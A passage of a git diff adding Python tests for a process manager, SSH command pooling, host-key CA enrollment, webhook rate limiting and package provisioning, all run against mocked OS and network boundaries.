await dispatcher.dispatch("custom", {"event": 2}) == [] + release.set() + result = await first + assert len(result) == 1 + assert result[0].success is (status == 200) + assert await dispatcher.dispatch("custom", {"event": 3}) == [] + assert session.post.call_count == (1 if status == 200 else 3) + assert dispatcher._in_flight == set() + + +async def test_cancelled_admission_releases_reservation_without_false_settlement(): + dispatcher = OutboundWebhookDispatcher(rate_limit_seconds=300) + dispatcher._webhooks["target"] = WebhookTarget( + id="target", name="fixture", url="https://example.com/hook") + session, response = _make_mock_session() + dispatcher._session = session + entered = asyncio.Event() + + async def enter(): + entered.set() + await asyncio.Event().wait() + + session.post.return_value.__aenter__.side_effect = enter + task = asyncio.create_task(dispatcher.dispatch("custom", {})) + await entered.wait() + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + assert dispatcher._in_flight == set() + assert dispatcher._last_sent == {} + session.post.return_value.__aenter__.side_effect = None + assert len(await dispatcher.dispatch("custom", {})) == 1 diff --git a/tests/test_campaign_package_lifecycle.py b/tests/test_campaign_package_lifecycle.py index b0bbde176..a6547d882 100644 --- a/tests/test_campaign_package_lifecycle.py +++ b/tests/test_campaign_package_lifecycle.py @@ -80,7 +80,10 @@ def executable(path, content): echo "python $*" >> "$TRACE" test "${FAIL_IMPORT:-0}" != 1 ''') - executable(app / ".venv/bin/playwright", "exit 1\n") + (app / "scripts").mkdir() + (app / "scripts/install-browser-runtime.sh").write_text( + (ROOT / "scripts/install-browser-runtime.sh").read_text() + ) scripts = {} for name in ("preremove", "postinstall"): script = (ROOT / f"packaging/{name}.sh").read_text() @@ -218,7 +221,10 @@ def test_computer_runtime_and_private_state_provisioned_without_enabling(sandbox assert data.is_dir() and not data.is_symlink() assert stat.S_IMODE(data.stat().st_mode) == 0o700 calls = trace.read_text() - assert f"pip install --quiet {root}/opt/odin[pdf,computer]" in calls + assert f"pip install --quiet {root}/opt/odin[pdf,computer,browser]" in calls + assert "python -m playwright install chromium" in calls + assert "p.chromium.launch(headless=True" in calls + assert "python -m src.config.package_migrations" in calls assert "import PIL; import Xlib; import dbus_next" in calls assert f"chown -R odin:odin {root}/opt/odin {root}/var/lib/odin" in calls assert "gnome-extensions" not in calls diff --git a/tests/test_campaign_prefix_measurement.py b/tests/test_campaign_prefix_measurement.py new file mode 100644 index 000000000..5d94b2508 --- /dev/null +++ b/tests/test_campaign_prefix_measurement.py @@ -0,0 +1,29 @@ +from types import SimpleNamespace + +import pytest +from aiohttp import web +from aiohttp.test_utils import TestClient, TestServer + +from src.llm.context_compressor import CompressionStats, PrefixTracker +from src.web.api.observability import register_compression_stats + + +@pytest.mark.asyncio +async def test_compression_api_distinguishes_unmeasured_local_and_upstream_cache(): + stats = CompressionStats() + routes = web.RouteTableDef() + register_compression_stats(routes, SimpleNamespace(compression_stats=stats)) + app = web.Application() + app.router.add_routes(routes) + async with TestClient(TestServer(app)) as client: + data = await (await client.get("/api/compression/stats")).json() + assert data["prefix_hit_rate"] is None + assert data["prefix_measurement"] == "unmeasured" + assert data["upstream_cache_measured"] is False + tracker = PrefixTracker(stats) + assert not tracker.check("system", []) + assert tracker.check("system", []) + data = await (await client.get("/api/compression/stats")).json() + assert data["prefix_measurement"] == "local_prefix_equality" + assert data["prefix_hit_rate"] == 0.5 + assert data["upstream_cache_measured"] is False diff --git a/tests/test_campaign_process_final_coverage.py b/tests/test_campaign_process_final_coverage.py new file mode 100644 index 000000000..d0638d273 --- /dev/null +++ b/tests/test_campaign_process_final_coverage.py @@ -0,0 +1,419 @@ +"""Inert lifecycle regressions: no child, SSH connection, signal or reap is real. + +Exercise real settlement decisions with mocked OS and transport boundaries. +A failed teardown must retain authority, not turn leader exit into cleanup proof. +""" +from __future__ import annotations + +import asyncio +import json +import shlex +import time +from types import SimpleNamespace +from unittest.mock import AsyncMock, Mock, call + +import pytest + +from src.tools import process_manager as pm +from src.tools import ssh +from src.tools.local_supervisor import SupervisedShell + + +@pytest.fixture(autouse=True) +def inert_os_boundary(monkeypatch): + """Fail closed if a test accidentally reaches a real spawn or signal path.""" + blocked = Mock(side_effect=AssertionError("real process operation forbidden")) + monkeypatch.setattr(asyncio, "create_subprocess_exec", blocked) + monkeypatch.setattr(asyncio, "create_subprocess_shell", blocked) + monkeypatch.setattr(ssh.os, "killpg", blocked) + monkeypatch.setattr(pm, "_terminate_session_until_empty", AsyncMock( + side_effect=AssertionError("real ownership scan forbidden"))) + monkeypatch.setattr(ssh, "terminate_process_tree", AsyncMock()) + + +class Lease: + def __init__(self): + self.target = SimpleNamespace(alias="fixture") + self.release = Mock() + + async def run(self, factory): + return await factory() + + +class InertSupervisedShell(SupervisedShell): + """Preserve isinstance routing without constructing a monitor or socket.""" + def __init__(self, verdict=True, error=None): + self.pid = 765432 + self.returncode = -15 + self.terminate_tree = AsyncMock(return_value=verdict, side_effect=error) + + +def local_info(process): + return pm.ProcessInfo(765432, "fixture", "fixture", time.time(), + process=process, host_lease=Lease()) + + +def remote_info(): + return pm.ProcessInfo(-4, "fixture", "fixture", time.time(), remote=True, + remote_dir="/inert/fixture", remote_token="fixture-proof", + remote_lease=Lease(), reserved_bytes=2048) + + +@pytest.fixture +def registry(monkeypatch): + reg = pm.ProcessRegistry() + # No detached 24-hour expiry tasks in unit tests. + monkeypatch.setattr(reg, "_schedule_output_expiry", Mock()) + return reg + + +@pytest.mark.parametrize("verdict,error", [(True, None), (False, None), + (False, OSError("control lost"))]) +async def test_supervised_cleanup_uses_positive_verdict_only(registry, verdict, error): + proc = InertSupervisedShell(verdict, error) + info = local_info(proc) + assert await registry._kill_group_until_gone(info) is verdict + assert info.session_confirmed_empty is verdict + proc.terminate_tree.assert_awaited_once_with(grace=.5) + info.host_lease.release.assert_not_called() + + +@pytest.mark.parametrize("proof", [True, False]) +async def test_revoke_checks_independent_proof_after_teardown_and_persist_errors( + registry, monkeypatch, proof, +): + info = local_info(SimpleNamespace(pid=765432, returncode=-9)) + lease = info.host_lease + teardown = AsyncMock(side_effect=TimeoutError("supervisor timeout")) + scan = AsyncMock(return_value=proof) + monkeypatch.setattr(ssh, "terminate_process_tree", teardown) + monkeypatch.setattr(registry, "_kill_group_until_gone", scan) + monkeypatch.setattr(registry, "_persist_output", Mock(side_effect=OSError("disk full"))) + assert await registry._terminate_bound_host_job(info) is proof + teardown.assert_awaited_once_with(info.process, grace=5.0) + scan.assert_awaited_once_with(info) + if proof: + assert info.status == "killed" and info.exit_code == -9 + assert info.session_confirmed_empty and info.finished_at is not None + lease.release.assert_called_once_with() + assert info.host_lease is None + else: + assert info.status == "running" and info.finished_at is None + lease.release.assert_not_called() + assert info.host_lease is lease + + +async def test_unreaped_leader_cannot_turn_group_scan_into_success(registry, monkeypatch): + proc = SimpleNamespace(pid=765432, returncode=None) + info = local_info(proc) + scan = AsyncMock(return_value=True) + wait = AsyncMock(return_value=False) + monkeypatch.setattr(pm, "_terminate_session_until_empty", scan) + monkeypatch.setattr(pm, "_wait_leader_exit", wait) + assert await registry._kill_group_until_gone(info, timeout=.2) is False + assert not info.session_confirmed_empty + wait.assert_awaited_once_with(proc, timeout=1.0) + assert scan.await_args.kwargs["teardown"] is False + assert scan.await_args.kwargs["term_first"] is False + info.host_lease.release.assert_not_called() + + +@pytest.mark.parametrize("error", [OSError("reap failed"), asyncio.CancelledError()]) +async def test_failed_reap_cannot_publish_session_proof(registry, monkeypatch, error): + proc = SimpleNamespace(pid=765432, returncode=None) + info = local_info(proc) + # A stale positive observation must also be cleared before a new reap. + info.session_confirmed_empty = True + monkeypatch.setattr(pm, "_terminate_session_until_empty", AsyncMock(return_value=True)) + monkeypatch.setattr(pm, "_wait_leader_exit", AsyncMock(side_effect=error)) + with pytest.raises(type(error)): + await registry._kill_group_until_gone(info, timeout=.2) + assert not info.session_confirmed_empty + info.host_lease.release.assert_not_called() + + +async def test_shutdown_retries_final_proof_and_reports_scan_exception(registry, monkeypatch): + info = local_info(SimpleNamespace(pid=765432, returncode=0)) + registry._processes[info.pid] = info + monkeypatch.setattr(registry, "terminate_generation", AsyncMock(return_value=False)) + scan = AsyncMock(side_effect=OSError("ownership table unreadable")) + monkeypatch.setattr(registry, "_kill_group_until_gone", scan) + with pytest.raises(pm.ProcessCleanupError, match="765432"): + await registry.shutdown() + scan.assert_awaited_once_with(info) + info.host_lease.release.assert_not_called() + + +async def test_revoke_remote_exception_and_expiry_failure_clear_epoch(registry, monkeypatch): + info = remote_info() + registry._processes[info.pid] = info + monkeypatch.setattr(registry, "_kill_remote", AsyncMock(side_effect=ConnectionError("lost"))) + monkeypatch.setattr(registry, "_expire_output", Mock(side_effect=OSError("spool failed"))) + assert await registry.force_revoke_host("fixture") == { + "attempted": 1, "killed": 0, "unknown": 1, + } + assert registry._revoking_aliases == {} + assert registry._local_revoke_epochs["fixture"] == 1 + info.remote_lease.release.assert_not_called() + assert not info.session_confirmed_empty + + +@pytest.mark.parametrize("code,reply", [ + (0, {"ok": True, "empty": True, "containment": "process_group"}), + (0, {"ok": True, "empty": 1, "containment": "owned_descendants"}), + (0, {"ok": 1, "empty": True, "containment": "owned_descendants"}), + (255, {"ok": True, "empty": True, "containment": "owned_descendants"}), + (0, ["not a proof frame"]), +]) +async def test_remote_kill_rejects_wrong_proof_without_retiring_authority( + registry, monkeypatch, code, reply, +): + info = remote_info() + lease = info.remote_lease + monkeypatch.setattr(registry, "_remote_call", AsyncMock(return_value=(code, json.dumps(reply)))) + result = await registry._kill_remote(info) + assert "outcome_unknown=true" in result + assert info.transport_unknown and not info.session_confirmed_empty + assert info.status == "running" and info.finished_at is None + assert info.reserved_bytes == 2048 and info.remote_lease is lease + lease.release.assert_not_called() + + +@pytest.mark.parametrize("exit_code,status", [(0, "completed"), (23, "failed")]) +async def test_remote_already_exited_proof_retires_once_and_preserves_timestamp( + registry, monkeypatch, exit_code, status, +): + info = remote_info() + lease = info.remote_lease + info.finished_at = 1234.5 + reply = {"ok": True, "empty": True, "containment": "owned_descendants", + "already_exited": True, "exit": {"exit_code": exit_code}} + monkeypatch.setattr(registry, "_remote_call", AsyncMock(return_value=(0, json.dumps(reply)))) + result = await registry._kill_remote(info) + assert "already exited" in result + assert info.status == status and info.exit_code == exit_code + assert info.session_confirmed_empty and info.finished_at == 1234.5 + assert info.reserved_bytes == 0 and info.remote_lease is None + lease.release.assert_called_once_with() + registry._retire_execution_lease(info) + lease.release.assert_called_once_with() + + +@pytest.mark.parametrize("operation", ["write", "kill"]) +async def test_real_remote_call_transport_loss_preserves_lease(registry, operation): + info = remote_info() + lease = info.remote_lease + registry._remote_exec = AsyncMock(side_effect=ConnectionResetError("transport vanished")) + result = (await registry._write_remote(info, "é") if operation == "write" + else await registry._kill_remote(info)) + assert "SSH transport failed" in result and "outcome_unknown=true" in result + assert info.transport_unknown and not info.session_confirmed_empty + assert info.remote_lease is lease and info.reserved_bytes == 2048 + lease.release.assert_not_called() + assert registry._remote_exec.await_args.args[0] is lease.target + + +async def test_unsettled_remote_cleanup_transport_failure_is_not_proof(registry): + lease = Lease() + registry._remote_exec = AsyncMock(side_effect=ConnectionError("controller lost")) + assert not await registry._teardown_unsettled_remote(lease, "/inert/fixture", "proof") + assert registry._remote_exec.await_args.args[2] == 15 + lease.release.assert_not_called() + + +@pytest.mark.parametrize("same_task", [True, False]) +async def test_settlement_does_not_cancel_its_own_lifetime_task(registry, monkeypatch, same_task): + info = remote_info() + info.host_lease = Lease() + remote_lease, host_lease = info.remote_lease, info.host_lease + lifetime = Mock() + info._lifetime_task = lifetime + monkeypatch.setattr(asyncio, "current_task", Mock(return_value=lifetime if same_task else None)) + registry._retire_execution_lease(info) + assert lifetime.cancel.call_count == (not same_task) + assert info._lifetime_task is None + assert info.remote_lease is None and info.host_lease is None + remote_lease.release.assert_called_once_with() + host_lease.release.assert_called_once_with() + + +def test_settlement_outside_event_loop_cancels_old_task_and_releases(registry, monkeypatch): + info = remote_info() + lifetime = Mock() + info._lifetime_task = lifetime + lease = info.remote_lease + monkeypatch.setattr(asyncio, "current_task", Mock(side_effect=RuntimeError("no running loop"))) + registry._retire_execution_lease(info) + lifetime.cancel.assert_called_once_with() + lease.release.assert_called_once_with() + assert info._lifetime_task is None and info.remote_lease is None + + +def subprocess_reply(text=b"ok\n", rc=0, error=None): + reader = asyncio.StreamReader() + reader.feed_data(text) + reader.feed_eof() + return SimpleNamespace(pid=765432, returncode=rc, stdout=reader, + communicate=AsyncMock(return_value=(text, b""), side_effect=error), + wait=AsyncMock(return_value=rc)) + + +def inert_pool(events): + async def acquire(*args, **kwargs): + events.append("acquire") + return True + + def release(*args): + events.append("release") + + return SimpleNamespace(is_connected=Mock(return_value=True), + acquire=AsyncMock(side_effect=acquire), + get_ssh_args=Mock(return_value=["inert-ssh", "fixture"]), + ensure_master_registered=AsyncMock(), release=Mock(side_effect=release)) + + +async def test_pooled_timeout_retry_reaps_before_next_dispatch_and_releases(monkeypatch): + events = [] + pool = inert_pool(events) + failed = subprocess_reply(rc=None, error=TimeoutError()) + success = subprocess_reply() + replies = iter([failed, success]) + + async def spawn(*args, **kwargs): + events.append("spawn") + return next(replies) + + async def cleanup(proc): + assert proc is failed + events.append("reap") + + monkeypatch.setattr(asyncio, "create_subprocess_exec", AsyncMock(side_effect=spawn)) + monkeypatch.setattr(ssh, "terminate_process_tree", AsyncMock(side_effect=cleanup)) + monkeypatch.setattr(ssh, "compute_backoff", Mock(return_value=0)) + assert await ssh.run_ssh_command("fixture", "fixture", "k", "kh", pool=pool, + target_id="identity", max_retries=2) == (0, "ok\n") + assert events == ["acquire", "spawn", "reap", "release", "acquire", "spawn", "release"] + assert pool.release.call_args_list == [call("fixture", "root", "identity")] * 2 + pool.ensure_master_registered.assert_not_awaited() + + +@pytest.mark.parametrize("stage", ["acquire", "spawn", "communicate"]) +async def test_pooled_cancel_releases_only_acquired_lease_and_reaps_child(monkeypatch, stage): + events = [] + pool = inert_pool(events) + proc = subprocess_reply(rc=None, error=asyncio.CancelledError()) + spawn = AsyncMock(return_value=proc) + if stage == "acquire": + pool.acquire.side_effect = asyncio.CancelledError() + elif stage == "spawn": + spawn.side_effect = asyncio.CancelledError() + monkeypatch.setattr(asyncio, "create_subprocess_exec", spawn) + cleanup = ssh.terminate_process_tree + with pytest.raises(asyncio.CancelledError): + await ssh.run_ssh_command("fixture", "fixture", "k", "kh", pool=pool, max_retries=3) + assert pool.release.call_count == (stage != "acquire") + assert spawn.await_count == (stage != "acquire") + if stage == "communicate": + cleanup.assert_awaited_once_with(proc) + else: + cleanup.assert_not_awaited() + + +async def test_pooled_registration_error_reaps_client_and_releases_without_retry(monkeypatch): + pool = inert_pool([]) + pool.ensure_master_registered.side_effect = OSError("registration failed") + proc = subprocess_reply() + spawn = AsyncMock(return_value=proc) + monkeypatch.setattr(asyncio, "create_subprocess_exec", spawn) + code, output = await ssh.run_ssh_command("fixture", "fixture", "k", "kh", + pool=pool, max_retries=3) + assert code == 1 and "registration failed" in output + ssh.terminate_process_tree.assert_awaited_once_with(proc) + pool.release.assert_called_once_with("fixture", "root", "") + spawn.assert_awaited_once() + + +async def test_pooled_exhausted_timeout_registers_legacy_master_and_releases(monkeypatch): + pool = inert_pool([]) + proc = subprocess_reply(rc=None, error=TimeoutError()) + spawn = AsyncMock(return_value=proc) + monkeypatch.setattr(asyncio, "create_subprocess_exec", spawn) + assert await ssh.run_ssh_command("fixture", "fixture", "k", "kh", timeout=4, + pool=pool, max_retries=1) == ( + 1, "Command timed out after 4 seconds", + ) + ssh.terminate_process_tree.assert_awaited_once_with(proc) + pool.ensure_master_registered.assert_awaited_once_with("fixture", "root") + pool.release.assert_called_once_with("fixture", "root", "") + spawn.assert_awaited_once() + + +async def test_pooled_backoff_cancel_prevents_another_dispatch_and_releases(monkeypatch): + pool = inert_pool([]) + proc = subprocess_reply(b"Connection reset", rc=255) + spawn = AsyncMock(return_value=proc) + monkeypatch.setattr(asyncio, "create_subprocess_exec", spawn) + monkeypatch.setattr(asyncio, "sleep", AsyncMock(side_effect=asyncio.CancelledError())) + with pytest.raises(asyncio.CancelledError): + await ssh.run_ssh_command("fixture", "fixture", "k", "kh", pool=pool, max_retries=3) + spawn.assert_awaited_once() + pool.release.assert_called_once_with("fixture", "root", "") + ssh.terminate_process_tree.assert_awaited_once_with(proc) + + +async def test_streaming_timeout_preserves_pending_fragment_and_cleans_once(): + proc = subprocess_reply(rc=None) + proc.stdout = SimpleNamespace(read=AsyncMock(side_effect=[b"pending fragment", TimeoutError()])) + callback = AsyncMock() + code, output = await ssh._read_lines_with_callback(proc, 4, callback, owned_pgid=proc.pid) + assert code == 1 and output.startswith("pending fragment") + assert "Command timed out after 4 seconds" in output + callback.assert_not_awaited() + ssh.terminate_process_tree.assert_awaited_once_with(proc, owned_pgid=proc.pid) + + +@pytest.mark.parametrize("error", [TimeoutError(), asyncio.CancelledError()]) +async def test_callback_eof_does_not_hide_failed_exit_wait(monkeypatch, error): + proc = subprocess_reply(b"prefix\nunterminated", rc=None) + proc.wait.side_effect = error + callback = AsyncMock() + if isinstance(error, asyncio.CancelledError): + with pytest.raises(asyncio.CancelledError): + await ssh._read_lines_with_callback(proc, 3, callback, owned_pgid=proc.pid) + else: + code, output = await ssh._read_lines_with_callback(proc, 3, callback, owned_pgid=proc.pid) + assert code == 1 and output.startswith("prefix\nunterminated") + assert "Command timed out after 3 seconds" in output + assert callback.await_args_list == [call("prefix\n"), call("unterminated")] + ssh.terminate_process_tree.assert_awaited_once_with(proc, owned_pgid=proc.pid) + + +async def test_callback_consumer_failure_propagates_and_cleans_owned_child(): + proc = subprocess_reply(b"accepted\n", rc=None) + callback = AsyncMock(side_effect=RuntimeError("consumer disconnected")) + with pytest.raises(RuntimeError, match="consumer disconnected"): + await ssh._read_lines_with_callback(proc, 3, callback, owned_pgid=proc.pid) + ssh.terminate_process_tree.assert_awaited_once_with(proc, owned_pgid=proc.pid) + proc.wait.assert_not_awaited() + + +async def test_binary_remote_cancel_reaps_and_preserves_cancellation(monkeypatch): + proc = subprocess_reply(rc=None, error=asyncio.CancelledError()) + spawn = AsyncMock(return_value=proc) + monkeypatch.setattr(asyncio, "create_subprocess_exec", spawn) + with pytest.raises(asyncio.CancelledError): + await ssh.read_binary_file("fixture", "-weird 'path'", max_bytes=10, + port=2222, host_key_alias="fixture-key") + ssh.terminate_process_tree.assert_awaited_once_with(proc) + args = spawn.await_args.args + assert args[-1] == "head -c 11 -- " + shlex.quote("-weird 'path'") + assert "HostKeyAlias=fixture-key" in args + assert args[args.index("-p") + 1] == "2222" + + +async def test_binary_remote_no_stderr_reports_exit_code_not_empty_error(monkeypatch): + proc = subprocess_reply(b"partial", rc=127) + monkeypatch.setattr(asyncio, "create_subprocess_exec", AsyncMock(return_value=proc)) + data, error = await ssh.read_binary_file("fixture", "/fixture", max_bytes=10) + assert data is None and error == "remote read failed (exit 127)" + ssh.terminate_process_tree.assert_not_awaited() diff --git a/tests/test_campaign_process_hosts.py b/tests/test_campaign_process_hosts.py new file mode 100644 index 000000000..cbce14b16 --- /dev/null +++ b/tests/test_campaign_process_hosts.py @@ -0,0 +1,132 @@ +import asyncio +import base64 +import struct +import subprocess +from unittest.mock import AsyncMock + +import pytest + +from src.config.schema import ToolHost +from src.tools.hosts import HostEnrollmentManager, HostRegistry, control +from src.tools.hosts.trust import HostTrustError, certificate_authority_key, fingerprint_public_key + + +def key(value=b"public"): + return "ssh-ed25519 " + base64.b64encode(value).decode() + + +def host(**kwargs): + return ToolHost(address="example.invalid", **kwargs) + + +@pytest.mark.parametrize("edit", [{}, {"description": "new"}, {"enabled": False}]) +def test_quarantine_survives_inventory_publication(tmp_path, edit): + configured = host() + registry = HostRegistry({"remote": configured}, trust_dir=tmp_path) + registry.mark_test_result("remote", {"ok": False}, host_key_mismatch=True) + registry.publish({"remote": configured.model_copy(update=edit)}) + assert registry.get("remote").trust_state == "mismatch" + assert not registry.get("remote").targetable + registry.mark_test_result("remote", {"ok": True}) + assert registry.get("remote").trust_state == "legacy" + assert registry.get("remote").targetable == edit.get("enabled", True) + + +async def test_test_publication_waits_for_management_commit(tmp_path, monkeypatch): + configured = host() + registry = HostRegistry({"remote": configured}, trust_dir=tmp_path) + lock = asyncio.Lock() + manager = HostEnrollmentManager(registry, publication_lock=lock) + candidate = await manager.prepare( + "remote", configured.model_dump(), existing=configured, allow_tofu=False, + ) + ssh_done = asyncio.Event() + + async def mismatch(*args, **kwargs): + ssh_done.set() + return 255, b"REMOTE HOST IDENTIFICATION HAS CHANGED" + + monkeypatch.setattr(control, "_run_argv", mismatch) + async with lock: + staged = registry.stage({"remote": configured.model_copy(update={"enabled": False})}) + task = asyncio.create_task(manager.test(candidate.token)) + await ssh_done.wait() + await asyncio.sleep(0) + assert not task.done() + registry.publish_staged(staged) + await task + assert not registry.get("remote").enabled + assert registry.get("remote").trust_state == "mismatch" + + +def cert(ca, *, certificate_type=2): + def string(value): + return struct.pack(">I", len(value)) + value + + kind = b"ssh-ed25519-cert-v01@openssh.com" + authority = string(b"ssh-ed25519") + string(ca) + raw = ( + string(kind) + string(b"nonce") + string(b"leaf") + + struct.pack(">QI", 1, certificate_type) + string(b"id") + string(b"") + + struct.pack(">QQ", 0, 123) + string(b"") + string(b"") + string(b"") + + string(authority) + string(b"signature") + ) + return "example.invalid " + kind.decode() + " " + base64.b64encode(raw).decode(), key(authority) + + +async def test_ca_enrollment_uses_certificate_signer_not_leaf(tmp_path, monkeypatch): + certificate, authority = cert(b"actual-ca") + runner = AsyncMock(return_value=(0, certificate.encode())) + monkeypatch.setattr(control, "_run_argv", runner) + registry = HostRegistry({}, trust_dir=tmp_path) + manager = HostEnrollmentManager(registry) + candidate = await manager.prepare("remote", { + "address": "example.invalid", "trust_mode": "ca", + "expected_fingerprints": [fingerprint_public_key(authority)], + }, allow_tofu=False) + assert candidate.host_keys == (authority,) + assert "-c" in runner.call_args.args[0] + assert certificate_authority_key(certificate) == authority + path = registry.materialize_trust(candidate.host_id, "alias", "ca", candidate.host_keys) + with open(path) as file: + assert file.read() == f"@cert-authority alias {authority}\n" + registry.publish({"remote": candidate.as_tool_host()}) + assert registry.get("remote").host_key_alias == "example.invalid" + with open(registry.get("remote").known_hosts_path) as file: + assert file.read() == f"@cert-authority example.invalid {authority}\n" + with pytest.raises(HostTrustError, match="malformed"): + certificate_authority_key(cert(b"user-ca", certificate_type=1)[0]) + + +async def test_ca_does_not_accept_leaf_only_scan(tmp_path, monkeypatch): + monkeypatch.setattr(control, "_run_argv", AsyncMock(return_value=(0, key().encode()))) + manager = HostEnrollmentManager(HostRegistry({}, trust_dir=tmp_path)) + with pytest.raises(HostTrustError, match="no supported host certificates"): + await manager.prepare("remote", { + "address": "example.invalid", "trust_mode": "ca", + "expected_fingerprints": [fingerprint_public_key(key())], + }, allow_tofu=False) + + +def test_ca_extraction_matches_real_openssh_certificate_signer(tmp_path): + # Offline key/certificate creation in disposable storage, no SSH server, + # trust-store mutation, network or process termination. + for name in ("authority", "leaf"): + subprocess.run([ + "ssh-keygen", "-q", "-t", "ed25519", "-N", "", "-f", str(tmp_path / name), + ], check=True, capture_output=True) + subprocess.run([ + "ssh-keygen", "-q", "-s", str(tmp_path / "authority"), "-I", "fixture", + "-h", "-n", "example.invalid", str(tmp_path / "leaf.pub"), + ], check=True, capture_output=True) + with open(tmp_path / "leaf-cert.pub") as file: + certificate = file.read() + with open(tmp_path / "authority.pub") as file: + authority = file.read() + assert fingerprint_public_key(certificate_authority_key(certificate)) == ( + fingerprint_public_key(authority) + ) + listing = subprocess.run([ + "ssh-keygen", "-L", "-f", str(tmp_path / "leaf-cert.pub"), + ], check=True, capture_output=True, text=True).stdout + assert "host certificate" in listing and "example.invalid" in listing diff --git a/tests/test_campaign_process_lifecycle.py b/tests/test_campaign_process_lifecycle.py new file mode 100644 index 000000000..6c7143aa4 --- /dev/null +++ b/tests/test_campaign_process_lifecycle.py @@ -0,0 +1,337 @@ +import asyncio +import base64 +import builtins +import io +import json +import re +import sys +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from src.tools import process_manager as pm + + +class Lease: + def __init__(self): + self.target = SimpleNamespace(alias="remote") + self.revoked = False + self.released = False + + async def run(self, factory): + return await factory() + + def release(self): + self.released = True + + +@pytest.fixture +def registry(monkeypatch): + reg = pm.ProcessRegistry() + monkeypatch.setattr("src.async_utils.fire_and_forget", lambda coro, **kw: coro.close()) + reg._schedule_output_expiry = lambda info: None + return reg + + +def info(pid=9123, **kwargs): + return pm.ProcessInfo(pid, "harmless fixture", "localhost", 1, **kwargs) + + +async def test_mixed_pending_starts_reserve_shared_capacity(registry, monkeypatch): + monkeypatch.setattr(pm, "MAX_CONCURRENT", 1) + entered, finish = asyncio.Event(), asyncio.Event() + + async def spawn(*args, **kwargs): + entered.set() + await finish.wait() + raise OSError("fixture spawn refused") + + monkeypatch.setattr("src.tools.local_supervisor.create_supervised_shell", spawn) + first = asyncio.create_task(registry.start("localhost", "harmless fixture")) + await entered.wait() + lease = Lease() + assert "Cannot start" in await registry.start_remote(lease, "harmless fixture") + assert lease.released + assert "Cannot start" in await registry.start("localhost", "harmless fixture") + finish.set() + assert "Failed to start" in await first + assert registry._pending_starts == 0 + + +async def test_cancelled_pending_start_returns_capacity(registry, monkeypatch): + entered = asyncio.Event() + + async def spawn(*args, **kwargs): + entered.set() + await asyncio.Event().wait() + + monkeypatch.setattr("src.tools.local_supervisor.create_supervised_shell", spawn) + lease = Lease() + task = asyncio.create_task(registry.start("localhost", "fixture", host_lease=lease)) + await entered.wait() + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + assert registry._pending_starts == 0 + assert lease.released + + +async def test_pending_remote_reservation_blocks_local_and_remote(registry, monkeypatch): + monkeypatch.setattr(pm, "MAX_CONCURRENT", 1) + entered = asyncio.Event() + + async def pending(*args, **kwargs): + entered.set() + await asyncio.Event().wait() + + registry._remote_exec = pending + teardown = AsyncMock(return_value=False) + monkeypatch.setattr(registry, "_teardown_unsettled_remote", teardown) + first_lease = Lease() + first = asyncio.create_task(registry.start_remote(first_lease, "fixture")) + await entered.wait() + assert "Cannot start" in await registry.start("localhost", "fixture") + other = Lease() + assert "Cannot start" in await registry.start_remote(other, "fixture") + assert other.released + first.cancel() + with pytest.raises(asyncio.CancelledError): + await first + assert registry._pending_starts == registry._pending_remote_reservations == 0 + assert first_lease.released + + +async def test_initial_local_persistence_failure_has_lifecycle_and_teardown(registry, monkeypatch): + proc = SimpleNamespace(pid=9123, returncode=None) + monkeypatch.setattr( + "src.tools.local_supervisor.create_supervised_shell", AsyncMock(return_value=proc), + ) + entered = [] + + async def lifecycle(record): + entered.append(record) + + monkeypatch.setattr(registry, "_read_output", lifecycle) + monkeypatch.setattr(registry, "_watch_exit", lifecycle) + def disk_full(record): + raise OSError("fixture disk full") + + monkeypatch.setattr(registry, "_persist_output", disk_full) + teardown = AsyncMock(return_value=False) + monkeypatch.setattr(registry, "_terminate_bound_host_job", teardown) + with pytest.raises(OSError): + await registry.start("localhost", "fixture") + record = registry._processes[9123] + assert record._reader_task is not None and record._exit_task is not None + assert 9123 in registry._own_children + teardown.assert_awaited_once_with(record) + await asyncio.gather(record._reader_task, record._exit_task) + + +async def test_initial_remote_persistence_failure_has_backstop_and_teardown(registry, monkeypatch): + async def remote(target, command, timeout): + token = re.search(r'\$d" ([^ ]+) ', command).group(1) + return 0, json.dumps(dict(token=token, pid=101, pgid=101, sid=99, start_id="123")) + + registry._remote_exec = remote + captured = [] + + def lifetime(coro, **kwargs): + captured.append(coro.cr_frame.f_locals["info"]) + coro.close() + + monkeypatch.setattr("src.async_utils.fire_and_forget", lifetime) + def disk_full(record): + raise OSError("fixture disk full") + + monkeypatch.setattr(registry, "_persist_output", disk_full) + teardown = AsyncMock(return_value="failed, fixture") + monkeypatch.setattr(registry, "_kill_remote", teardown) + with pytest.raises(OSError): + await registry.start_remote(Lease(), "fixture") + record = registry._processes[-1] + assert captured == [record] + teardown.assert_awaited_once_with(record) + assert registry._pending_starts == 0 + + +async def test_lifetime_timer_cannot_target_recycled_pid(registry, monkeypatch): + old, replacement = info(), info() + registry._processes[old.pid] = replacement + monkeypatch.setattr(pm.asyncio, "sleep", AsyncMock()) + kill = AsyncMock() + monkeypatch.setattr(registry, "kill", kill) + await registry._enforce_lifetime(old, 1) + kill.assert_not_awaited() + await registry._enforce_lifetime(replacement, 1) + kill.assert_awaited_once_with(replacement.pid) + + +async def test_leader_exit_holds_authority_until_descendant_settlement(registry, monkeypatch): + lease = Lease() + record = info(process=SimpleNamespace(pid=9123, returncode=0), host_lease=lease) + registry._processes[record.pid] = record + registry._retained_generations[record.generation] = record + monkeypatch.setattr(pm, "_wait_leader_exit", AsyncMock()) + entered, finish = asyncio.Event(), asyncio.Event() + + async def settle(*args, **kwargs): + entered.set() + await finish.wait() + return True + + monkeypatch.setattr(pm, "_terminate_session_until_empty", settle) + task = asyncio.create_task(registry._watch_exit(record)) + await entered.wait() + assert record.status == "running" + assert not lease.released + teardown = AsyncMock(return_value=False) + monkeypatch.setattr(registry, "_terminate_bound_host_job", teardown) + assert not await registry.terminate_generation(record.generation) + teardown.assert_awaited_once_with(record) + revoke = await registry.force_revoke_host("localhost") + assert revoke == {"attempted": 1, "killed": 0, "unknown": 1} + assert not lease.released + finish.set() + await task + assert record.status == "completed" and record.session_confirmed_empty + assert lease.released + + +async def test_remote_unverified_cleanup_is_not_settled_or_counted(registry, monkeypatch): + record = info(-1, remote=True, remote_lease=Lease()) + registry._processes[-1] = record + registry._retained_generations[record.generation] = record + monkeypatch.setattr(registry, "_remote_call", AsyncMock(return_value=( + 0, json.dumps({"ok": True, "already_exited": True}), + ))) + assert not await registry.terminate_generation(record.generation) + assert record.status == "running" + 